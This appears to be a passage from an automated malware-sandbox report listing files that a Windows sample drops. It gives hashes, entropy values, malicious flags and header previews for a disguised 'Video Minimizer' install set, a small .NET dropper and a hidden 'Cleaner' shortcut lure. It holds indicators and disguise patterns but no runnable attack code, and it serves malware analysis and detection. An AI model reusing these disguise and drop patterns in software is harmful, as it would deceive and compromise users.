SHA-256:	16574F51785B0E2FC29C2C61477EB47BB39F714829999511DC8952B43AB17660
SHA-512:	335A86268E7C0E568B1C30981EC644E6CD332E66F96D2551B58A82515316693C1859D87B4F4B7310CF1AC386CEE671580FDD999C3BCB23ACF2C2282C01C8798C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=S.v..?......!................X..............`......................... ......8......... .................................L................................'......................................................p............................text...............................`.0`.data...............................@.@..rdata..$...........................@.@@.bss..................................@..edata..............................@.0@.idata..L...........................@.0..CRT................................@.0..tls.... ...........................@.0..reloc...'.......(..................@.0B/4......`....0......................@.@B/19..........@......................@..B/35.....M....P......................@..B/51.....`C...`...D..................@..B/63..................8..............@..B/77..................F..............@..B/89..................R..

C:\Users\user\AppData\Local\Video Minimizer 2.33\is-N7369.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	265728
Entropy (8bit):	6.4472652154517345
Encrypted:	false
SSDEEP:	6144:Fs7u3JL96d15Y2BmKh678IuYAhN3YCjlgiZioXyLWvCe93rZ5WZOlUmpNJ5mlbb/:e7WJL96d15Y2BmKh678IuYAhN3YCjlgw
MD5:	752CA72DE243F44AF2ED3FF023EF826E
SHA1:	7B508F6B72BD270A861B368EC9FE4BF55D8D472F
SHA-256:	F8196F03F8CBED87A92BA5C1207A9063D4EEBB0C22CA88A279F1AE1B1F1B8196
SHA-512:	4E5A7242C25D4BBF9087F813D4BF057432271A0F08580DA8C894B7C290DE9E0CF640F6F616B0B6C6CAD14DC0AFDD2697D2855BA4070270824540BAE835FE8C4A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?..=...........!................`;.......................................P.......................'..............p...o.......d.... .......................0..\.......................................................4............................text...k........................... ..`.rdata..............................@..@.data....9.......0..................@....idata..............................@....rsrc........ ......................@..@.reloc..T....0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Video Minimizer 2.33\is-OQPMB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1645320
Entropy (8bit):	6.787752063353702
Encrypted:	false
SSDEEP:	24576:Fk18V2mHkfIE3Ip9vkWEgDecZV3W9kpOuRw8RhWd5Ixwzr6lOboU7j97S9D+z98v:FZNkf+uW3D1ZVG9kVw8I5Rv6lwH9+X
MD5:	871C903A90C45CA08A9D42803916C3F7
SHA1:	D962A12BC15BFB4C505BB63F603CA211588958DB
SHA-256:	F1DA32183B3DA19F75FA4EF0974A64895266B16D119BBB1DA9FE63867DBA0645
SHA-512:	985B0B8B5E3D96ACFD0514676D9F0C5D2D8F11E31F01ACFA0F7DA9AF3568E12343CA77F541F55EDDA6A0E5C14FE733BDA5DC1C10BB170D40D15B7A60AD000145
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s...7o..7o..7o...L..<o..7o..en...L..$o...L...o...L..6o...L..6o...L..(n...L..6o..Rich7o..................PE..L.....D@...........!.........`.......Q.......`.....p................................................................l...CN..\|...x....p...........................s.....8...............................................0............................text...n........................... ..`.data...X...........................@...Shared.......`.......P..............@....rsrc........p... ...`..............@..@.reloc...s..........................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Video Minimizer 2.33\is-P1KGP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	348160
Entropy (8bit):	6.542655141037356
Encrypted:	false
SSDEEP:	6144:OcV9z83OtqxnEYmt3NEnvfF+Tbmbw6An8FMciFMNrb3YgxxpbCAOxO2ElvlE:Ooz83OtIEzW+/m/AyF7bCrO/E
MD5:	86F1895AE8C5E8B17D99ECE768A70732
SHA1:	D5502A1D00787D68F548DDEEBBDE1ECA5E2B38CA
SHA-256:	8094AF5EE310714CAEBCCAEEE7769FFB08048503BA478B879EDFEF5F1A24FEFE
SHA-512:	3B7CE2B67056B6E005472B73447D2226677A8CADAE70428873F7EFA5ED11A3B3DBF6B1A42C5B05B1F2B1D8E06FF50DFC6532F043AF8452ED87687EEFBF1791DA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........2..S..S..S..Tp..S..S..5S..BX..S..BX...S..BX..Q..BX..S..BX..S..BX..S..Rich.S..........................PE..L.....V>...........!................."............4\|.........................`......................................t....C......(.... .......................0..d+..H...8...........................x...H...............l............................text............................... ..`.rdata..@...........................@..@.data... h.......`..................@....rsrc........ ......................@..@.reloc..d+...0...0... ..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Video Minimizer 2.33\is-T3MEN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp
File Type:	data
Category:	dropped
Size (bytes):	3335664
Entropy (8bit):	6.66359316225269
Encrypted:	false
SSDEEP:	49152:5kLxnG8PkcX6X4mMMFXck1Q2HRNZkrPyZd9tSr9aPibscQZn5OUg:5kLdGm81MMFDQ2HRNZ2PyZneWt5OT
MD5:	2D2D7D6B5A1F1B0AE968ECF1FE130CD0
SHA1:	B1BE3C72BADDA92BD55A3B6DC4C45650CF0E9006
SHA-256:	A487E5622030D3AE1B15332DCD6BAC72854B8E6EBE4AC7C854EBF4C92DB96F45
SHA-512:	9703ECACA3CE9DDF5A59730902F8DC98FA3D9A1FF4F5DE9A6AD30430CF1F164F989D1532942727740C2A27B0E19603721A4D74BBBEA9CE3889018227F170917E
Malicious:	false
Yara Hits:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\is-T3MEN.tmp, Author: Joe Security
Preview:	.Z......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................PE..L.....Zg.....................^.......]............@..........................P3......k3..............................................P..................................................................................@............................text...j........................... ..`_abtt_2.............................@..@_actt_2.xd.......0..................@....rsrc........P......................@..@_adtt_2...!..0....!.................`.+.........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Video Minimizer 2.33\ltkrn13n.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	445440
Entropy (8bit):	6.439135831549689
Encrypted:	false
SSDEEP:	12288:sosmML3+OytpWFkCU1wayvT33iiDNmAE27R9sY9kP0O+:soslvJ3RaY9wU
MD5:	CAC7E17311797C5471733638C0DC1F01
SHA1:	58E0BD1B63525A2955439CB9BE3431CEA7FF1121
SHA-256:	19248357ED7CFF72DEAD18B5743BF66C61438D68374BDA59E3B9D444C6F8F505
SHA-512:	A677319AC8A2096D95FFC69F22810BD4F083F6BF55B8A77F20D8FB8EE01F2FEE619CE318D1F55C392A8F3A4D635D9285712E2C572E62997014641C36EDC060A2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...*..=...........!.........\......@!....................................... .......................'..........................P.......H.......................l....................................................................................text............................... ..`.rdata..2$.......&..................@..@.data...............................@....idata..............................@....rsrc...H...........................@..@.reloc...&.......(..................@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Video Minimizer 2.33\msvcp71.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	499712
Entropy (8bit):	6.414789978441117
Encrypted:	false
SSDEEP:	12288:fJzxYPVsBnxO/R7krZhUgiW6QR7t5k3Ooc8iHkC2eq:fZxvBnxOJ7ki3Ooc8iHkC2e
MD5:	561FA2ABB31DFA8FAB762145F81667C2
SHA1:	C8CCB04EEDAC821A13FAE314A2435192860C72B8
SHA-256:	DF96156F6A548FD6FE5672918DE5AE4509D3C810A57BFFD2A91DE45A3ED5B23B
SHA-512:	7D960AA8E3CCE22D63A6723D7F00C195DE7DE83B877ECA126E339E2D8CC9859E813E05C5C0A5671A75BB717243E9295FD13E5E17D8C6660EB59F5BAEE63A7C43
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............................................................................Rich...................PE..L.....w>...........!.................-............:\|................................~e..............................$...?...d!..<....`.......................p...0..8...8...............................H............................................text............................... ..`.rdata..2*.......0..................@..@.data...h!...0... ...0..............@....rsrc........`.......P..............@..@.reloc...0...p...@...`..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Video Minimizer 2.33\msvcr71.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	348160
Entropy (8bit):	6.542655141037356
Encrypted:	false
SSDEEP:	6144:OcV9z83OtqxnEYmt3NEnvfF+Tbmbw6An8FMciFMNrb3YgxxpbCAOxO2ElvlE:Ooz83OtIEzW+/m/AyF7bCrO/E
MD5:	86F1895AE8C5E8B17D99ECE768A70732
SHA1:	D5502A1D00787D68F548DDEEBBDE1ECA5E2B38CA
SHA-256:	8094AF5EE310714CAEBCCAEEE7769FFB08048503BA478B879EDFEF5F1A24FEFE
SHA-512:	3B7CE2B67056B6E005472B73447D2226677A8CADAE70428873F7EFA5ED11A3B3DBF6B1A42C5B05B1F2B1D8E06FF50DFC6532F043AF8452ED87687EEFBF1791DA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........2..S..S..S..Tp..S..S..5S..BX..S..BX...S..BX..Q..BX..S..BX..S..BX..S..Rich.S..........................PE..L.....V>...........!................."............4\|.........................`......................................t....C......(.... .......................0..d+..H...8...........................x...H...............l............................text............................... ..`.rdata..@...........................@..@.data... h.......`..................@....rsrc........ ......................@..@.reloc..d+...0...0... ..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Video Minimizer 2.33\sqlite3.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	645592
Entropy (8bit):	6.50414583238337
Encrypted:	false
SSDEEP:	12288:i0zrcH2F3OfwjtWvuFEmhx0Cj37670jwX+E7tFKm0qTYh:iJUOfwh8u9hx0D70NE7tFTYh
MD5:	E477A96C8F2B18D6B5C27BDE49C990BF
SHA1:	E980C9BF41330D1E5BD04556DB4646A0210F7409
SHA-256:	16574F51785B0E2FC29C2C61477EB47BB39F714829999511DC8952B43AB17660
SHA-512:	335A86268E7C0E568B1C30981EC644E6CD332E66F96D2551B58A82515316693C1859D87B4F4B7310CF1AC386CEE671580FDD999C3BCB23ACF2C2282C01C8798C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=S.v..?......!................X..............`......................... ......8......... .................................L................................'......................................................p............................text...............................`.0`.data...............................@.@..rdata..$...........................@.@@.bss..................................@..edata..............................@.0@.idata..L...........................@.0..CRT................................@.0..tls.... ...........................@.0..reloc...'.......(..................@.0B/4......`....0......................@.@B/19..........@......................@..B/35.....M....P......................@..B/51.....`C...`...D..................@..B/63..................8..............@..B/77..................F..............@..B/89..................R..

C:\Users\user\AppData\Local\Video Minimizer 2.33\uninstall\is-BD8Q6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	716789
Entropy (8bit):	6.514246042632449
Encrypted:	false
SSDEEP:	12288:PTPcYn5c/rPx37/zHBA6a5Ueyp2CrIEROlnrNORuVVwRxyFJ:LPcYn5c/rPx37/zHBA6pDp2mIEiVCRxe
MD5:	B652CE4CF1CC0FA59E9537D47D261968
SHA1:	855A08D50DD41B075281FFA8B64C3DAE31522B60
SHA-256:	954235B7F836A28330F423C1380B96C84A6C7C3855E3B22B283EE316888ABFC5
SHA-512:	8EF7E02F3AC7B98DA91533F66225C27814111A977D2649731B3A3DCD941070587F58928FB3FE10FC72F32493094240704922B4B0459E30E85F86D4AC2970DE2F
Malicious:	true
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................z........................@..............................................@...............................%..................................................................................................................CODE....\y.......z.................. ..`DATA.................~..............@...BSS......................................idata...%.......&..................@....tls.....................................rdata..............................@..P.reloc...... ......................@..P.rsrc...............................@..P.....................P..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\Video Minimizer 2.33\uninstall\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp
File Type:	InnoSetup Log Video Minimizer, version 0x30, 4825 bytes, 238576\user, "C:\Users\user\AppData\Local\Video Minimizer 2.33"
Category:	dropped
Size (bytes):	4825
Entropy (8bit):	4.756060698562747
Encrypted:	false
SSDEEP:	96:lcGJtWXj28k7pcmrk9e+eOIhCRa7ICSss/Lnjdd4x/MH0NCJa9Pz:rtWXin7pc9HIh5ICSsAnC
MD5:	3F1EA016B0B04DA8EEB3776DF3E970BA
SHA1:	0E0BC51D103385CA31524C13F144A6F1B11677CD
SHA-256:	2802806093A46FAB1B38456F26C5D20FCA186607CA1F94D3CF3318A3BA327D68
SHA-512:	6C52B96F3C840EDBE1CEE84CB52E64525176E8A8319E5C67C1854147253237BE5D5BE3183D8E8D38DCE1156C9D4097058F09F38A4875430CE2F545FE171EAB4A
Malicious:	false
Preview:	Inno Setup Uninstall Log (b)....................................Video Minimizer.................................................................................................................Video Minimizer.................................................................................................................0...........%..........................................................................................................................U;Z.......Q....238576.user1C:\Users\user\AppData\Local\Video Minimizer 2.33...........0...5.. ............IFPS.............................................................................................................BOOLEAN..............TWIZARDFORM....TWIZARDFORM.........TPASSWORDEDIT....TPASSWORDEDIT...........................................!MAIN....-1..(...dll:kernel32.dll.CreateFileA..............$...dll:kernel32.dll.WriteFile............"...dll:kernel32.dll.CloseHandle........"...dll:kernel32.dll.ExitProcess........%...dll:User3

C:\Users\user\AppData\Local\Video Minimizer 2.33\uninstall\unins000.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	716789
Entropy (8bit):	6.514246042632449
Encrypted:	false
SSDEEP:	12288:PTPcYn5c/rPx37/zHBA6a5Ueyp2CrIEROlnrNORuVVwRxyFJ:LPcYn5c/rPx37/zHBA6pDp2mIEiVCRxe
MD5:	B652CE4CF1CC0FA59E9537D47D261968
SHA1:	855A08D50DD41B075281FFA8B64C3DAE31522B60
SHA-256:	954235B7F836A28330F423C1380B96C84A6C7C3855E3B22B283EE316888ABFC5
SHA-512:	8EF7E02F3AC7B98DA91533F66225C27814111A977D2649731B3A3DCD941070587F58928FB3FE10FC72F32493094240704922B4B0459E30E85F86D4AC2970DE2F
Malicious:	true
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................z........................@..............................................@...............................%..................................................................................................................CODE....\y.......z.................. ..`DATA.................~..............@...BSS......................................idata...%.......&..................@....tls.....................................rdata..............................@..P.reloc...... ......................@..P.rsrc...............................@..P.....................P..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.chm (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp
File Type:	MS Windows HtmlHelp Data
Category:	dropped
Size (bytes):	78183
Entropy (8bit):	7.692742945771669
Encrypted:	false
SSDEEP:	1536:Bkt2SjEQ3r94YqwyadpL1X6Dtn4afF1VowWb8ZmmUQNk3gNqCLbMsFxJse8hbpmn:mR/CYj9dp5XIyI2b/mY3gNjLbMsOaP
MD5:	B1B9E6D43319F6D4E52ED858C5726A97
SHA1:	5033047A30CCCF57783C600FD76A6D220021B19D
SHA-256:	8003A4A0F9F5DFB62BEFBF81F8C05894B0C1F987ACFC8654A6C6CE02B6213910
SHA-512:	E56D6EC9170DEBAC28BB514942F794F73D4C194D04C54EFF9227B6EE3C74BA4FCF239FFF0BB6556DC8B847FA89D382AF206A2C481C41A3510936B0A74192D2C2
Malicious:	false
Preview:	ITSF....`..........E.......\|.{.......".....\|.{......."..`...............x.......T.......................g1..............ITSP....T...........................................j..].!......."..T...............PMGLW................/..../#IDXHDR...F.../#ITBITS..../#IVB...N$./#STRINGS.....P./#SYSTEM..N.'./#TOPICS...F.0./#URLSTR...:.t./#URLTBL...v.D./$FIftiMain......1./$OBJINST...z.../$WWAssociativeLinks/..../$WWAssociativeLinks/Property...v../$WWKeywordLinks/..../$WWKeywordLinks/Property...r../After.jpg...4..../Auto-.hhc...^./Auto-Adjustment.htm....?./Auto-BleachTeeth.htm...z.3./Auto-Crop2Plus.htm..U.j./Auto-Emphasis.htm...w.V./Auto-EyeColor.htm...!.../Auto-EyePencil.htm..._.../Auto-EyeShadow.htm...,.3./Auto-GettingStarted.htm....Q./Auto-Lipstick.htm..R.M./Auto-Liquify.htm...-.v./Auto-Menu.htm..S.r./Auto-OrderingInformation.htm...Q.../Auto-Overview.htm..^.$./Auto-Powder.htm......./Auto-Resize.htm..s.b./Auto-Rotation.htm..?.e./Auto-Rouge.htm...=.d./Auto-SkinCare.htm...\|.{./Auto-SmartPatchCosmet

C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	176128
Entropy (8bit):	6.204917493416147
Encrypted:	false
SSDEEP:	3072:l9iEoC1+7N9UQV2Mi8NTUU3/EO3h3E9y6GeoPRtsoWhi75MUbvSHQ:l+ssU62Mi8x9P/UVGeQRthMUbvS
MD5:	FEC4FF0C2967A05543747E8D552CF9DF
SHA1:	B4449DC0DF8C0AFCC9F32776384A6F5B5CEDE20C
SHA-256:	5374148EBCF4B456F8711516A58C9A007A393CA88F3D9759041F691E4343C7D6
SHA-512:	93E3F48CD393314178CBC86F6142D577D5EAAE52B47C4D947DBA4DFB706860B150FF5B0E546CB83114CA44666E9DF6021964D79D064B775A58698DAA9550EF13
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+0.J^..J^..J^.cE...J^..VR..J^..UU..J^.#VP..J^..UT..J^..UZ..J^..kU..J^..kZ..J^..J_..J^..iT..J^..io..J^.gLX..J^._jZ..J^.Rich.J^.................PE..L.....L...........!.....0...@.......'.......@...................................................................... e..k....X..d....`.......................p..p....................................................@...............................text....".......0.................. ..`.rdata...%...@...0...@..............@..@.data...T....p... ...p..............@....rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	3335664
Entropy (8bit):	6.663593487538586
Encrypted:	false
SSDEEP:	49152:QkLxnG8PkcX6X4mMMFXck1Q2HRNZkrPyZd9tSr9aPibscQZn5OUg:QkLdGm81MMFDQ2HRNZ2PyZneWt5OT
MD5:	BDDC95BF37B6EB97D516948CEC1CB311
SHA1:	69EFD2FCE1120E4EE0AB90F0DA0CD25D0E6D8C9A
SHA-256:	6AF15A2E4A68C12D983D020F566FDF11FDD1F8AD92ACFB6E2E469E4C0209255D
SHA-512:	D6ABC412106C59A2F6682D5D4FE5FF4E24D84BD15E060A6BC30EE78CEAE7767B29C7D60235BAA80F4EB3549EC4600C1609CED9660CF7293422BC2A91C5DCCB57
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe, Author: Joe Security
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................PE..L.....Zg.....................^.......]............@..........................P3......k3..............................................P..................................................................................@............................text...j........................... ..`_abtt_2.............................@..@_actt_2.xd.......0..................@....rsrc........P......................@..@_adtt_2...!..0....!.................`.+.........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	3.990387966645919
Encrypted:	false
SSDEEP:	48:65uxic/UNMSAjItYiA254tdqlkCuFCpfbNtm:cc9jItYbaC+zNt
MD5:	F328A95046E3A2514C36347EAEC911C0
SHA1:	8EC9C18384CA1E08A397BF7B3D46B6D784669EF0
SHA-256:	D55E86610DCAD29C3D2857D9DAE91AA51228B1FA001EA2D7BDA88B9A2B5570A9
SHA-512:	2FC3621433C5DA3DCB5B9D9133CD9D63D8F53FD60C81DDAB8B83BAD60EFB98942FC38A63DFA98EDFC8358C8E4E345A7EC8FA3AA14C18D4337CDD90EA0AED4718
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 54%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."...0..............&... ...@....@.. ....................................@..................................&..O....@.......................`.......%..8............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................&......H.......\ .................................................................(......BSJB............v4.0.30319......l.......#~..,...H...#Strings....t.......#US.x.......#GUID...........#Blob...........G..........3..........................................x...............Z.....!.....,.....I.................A...........&.....`.....5.................{.....@.........................A.....P ........#...R ................;...................).....1.....9.....A.....I.....Q.....Y.....

C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4250887
Entropy (8bit):	7.998488969661119
Encrypted:	true
SSDEEP:	98304:IcwhQmHJ8m0sLHd1a161OHydnlWF+t22vQacL5B59eh:9wPtRjBldnlWU65z8
MD5:	23619F330C57AF62DE72DFFEBADBF07B
SHA1:	7F4B9BD506A9CC86D41F25D2FA9D352106CE2529
SHA-256:	7F7357AE47697D5052AA540D2A4E39AB31B2CA88A989D7269D1A98AD58430948
SHA-512:	7A583AC5B8E104C4397D86CEA50664831471CCE8338102849DE48F97A640BECA35147E4FFAA1BEFF99A4C5B12269A6B30ABF92269F39626A1D10D069D4DBEB34
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................F......@.............@..........................@...................@..............................P........,..........................................................................................................CODE....d........................... ..`DATA....L...........................@...BSS......................................idata..P...........................@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc....,.......,..................@..P.............@......................@..P........................................................................................................................................

C:\Users\user\Desktop\Cleaner.lnk

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Icon number=0, Archive, ctime=Thu Dec 12 14:48:26 2024, mtime=Thu Dec 12 14:48:26 2024, atime=Thu Dec 12 14:48:26 2024, length=1502720, window=hide
Category:	dropped
Size (bytes):	2184
Entropy (8bit):	3.8642925211888564
Encrypted:	false
SSDEEP:	24:8JimL/yOgdR84gKoX0Ajhk+50ACcxVvN7+Ag+AYO4Zx5q+AhpSyFySqygm:8JRL/yjdR8l3fZxVvN7E0Zx5qu0syg
MD5:	9DF927FECBA73DC6E391253CECC4003A
SHA1:	377EEFA55723F9762674771501B650AF2CE61AD4
SHA-256:	625254A3DA62F21F81BF4B9A1ECD140BD8585ED9B69692BE414947D9246DA7FD
SHA-512:	C3F4A0E0A00575F0246DB716E40BA74826681E8DDBB409A86724D724094E99424BC3DC598762DB68B4579DC94256D3D415DBCA6CE8092510B1C0CF4E73CFD55E
Malicious:	false
Preview:	L..................F.@.. ...{..H.L..{..H.L..{..H.L..........................8.:..DG..Yr?.D..U..k0.&...&.......;..z.....y..L.....H.L......t...CFSF..1.....EW.V..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW.V.Y.}..........................B...A.p.p.D.a.t.a...B.P.1......Y.~..Local.<......EW.V.Y.~............................$.L.o.c.a.l.....N.1......Y.~..Temp..:......EW.V.Y.~..........................m#.T.e.m.p.....t.1......Y.~..FD262D~1..\......Y.~.Y.~.....&.......................F.D.2.6.2.D.G.W.N.d.4.F.t.r.w.6.r.V.5.C.v.....h.2......Y.~ .Y-CLEA~1.EXE..L......Y.~.Y.~.....'.....................f..Y.-.C.l.e.a.n.e.r...e.x.e.......t...............-.......s.............H.....C:\Users\user\AppData\Local\Temp\FD262DGWNd4Ftrw6rV5Cv\Y-Cleaner.exe....M.a.k.e. .y.o.u.r. .P.C. .f.a.s.t.e.r.9.....\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.F.D.2.6.2.D.G.W.N.d.4.F.t.r.w.6.r.V.5.C.v.\.Y.-.C.l.e.a.n.e.r...e.x.e.E.C.:.\.U.s.e.r.s.\.t.o.t.t.i.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.F.D.2.6.2.D.

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	2464
Entropy (8bit):	3.2455789876582677
Encrypted:	false
SSDEEP:	24:QOaqdmuF3rc+kWReHgHttUKlDENh+pyMySn6tUKlDENh+pyMySwwIPVxcwIPVxwg:FaqdF7c+AAHdKoqKFxcxkF8
MD5:	0294B071314014A3550DC0DA6E08BB60
SHA1:	3FE894AE790D0AEB86C6ECC7356FA4E64ABD1F5E
SHA-256:	859E4F8C877935331EE2F67397DB0615ED4126DF619E4F1915C6D390050223CB
SHA-512:	99E0F64FDB67E1C8F84FE0B6E3AD3C1D63ECD89DB09E77F1A49226608240896FD032C27786C7E507A30BAC8E3D8A6F24FEB6EBDBE12AF72DEC0D90D209CE68AC
Malicious:	false
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. T.h.u. .. D.e.c. .. 1.2. .. 2.0.2.4. .1.0.:.4.8.:.0.4.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e........................................ .W.S.C. .S.t.a.t.e. .I.n.f.o. ................................................................. .A.n.t.i.V.i.r.u.s.P.r.o.d.u.c.t. ..............................d.i.s.p.l.a.y.N.a.m.e. .=. .[.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.].....p.a.t.h.T.o.S.i.g.n.e.d.P.r.o.d.u.c.t.E.x.e. .=. .[.w.i.n.d.o.w.s.d.

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.29878816532707
Encrypted:	false
SSDEEP:	6144:WECqOEmWfd+WQFHy/9026ZTyaRsCDusBqD5dooi8lESD6VJSRqV:LCsL6seqD5SJSWVARY
MD5:	3DD119854E9EFAC5E6ABB89313509A37
SHA1:	5317A02CF7866ED30217295F07B330725E9FB930
SHA-256:	AF5B05536A745485433F95F15099AA10FE6F155008FDF807B51AD3CF2976030F
